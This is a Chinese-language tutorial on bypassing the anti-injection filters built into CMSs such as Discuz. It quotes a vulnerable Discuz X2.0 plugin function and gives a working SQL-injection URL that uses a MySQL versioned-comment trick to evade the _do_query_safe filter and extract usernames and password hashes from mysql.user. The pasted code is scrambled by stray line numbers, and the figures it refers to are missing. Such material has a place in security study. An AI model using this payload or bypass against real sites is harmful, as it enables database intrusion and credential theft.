几种通用防注入程序绕过方法 0×00 前言 目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。 0×01 Discuz x2.0防注入 防注入原理 这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。 漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示 functiongetGoods($id){ 01
$query= DB::query(‘select * from 02 ‘.DB::table(‘v63_goods’).’ where `id` =’.$id);
$goods= DB::fetch($query); 03
$goods['endtime2'] =date(‘Y-m-d’,$goods['endtime']); 04
$goods['price2'] =$goods['price']; 05
if($goods['sort'] ==2){ 06
$goods['endtime2']=date(‘Y-m-d 07 H:i:s’,$goods['endtime']);
$query= DB::query(“select * from
“.DB::table(‘v63_pm’).” where gid=’$goods[id]‘ order by id desc 08
“);
09
$last= DB::fetch($query);10
if(is_array($last)){11
$goods['price'] =$last['chujia'];12
$goods['uid'] =$last['uid'];13
$goods['username'] =$last['username'];14
$goods['pm'] =$last;15
if(time()+600>$goods['endtime']){16
$goods['endtime'] =$last[time]+600;17
$goods['endtime2']=date(‘Y-m-d
H:i:s’,$last[time]+600);
} 18
} 19
} 20
return$goods; 21
} 22
触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示:
下面可以构造如下请求触发漏洞了,如图所示:
不过程序内置了一个_do_query_safe函数用来防注入,如图所示
这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:
?
因为我们的url中出现了union select,所以会被过滤掉。 绕过方法
这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:
http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1 1,2,3,4,5,6,concat(user,0×23,password),8,9,10,11,12,13 from mysql.user
这里我们跟踪一下,绕过的具体过程。它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为
select * from pre_v63_goods where `id`
=1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0×23,password),8,9,101
,11,12,13 from mysql.user
再进一步跟踪,它会将/**/也去掉,然对$clean变量做过滤,如图所示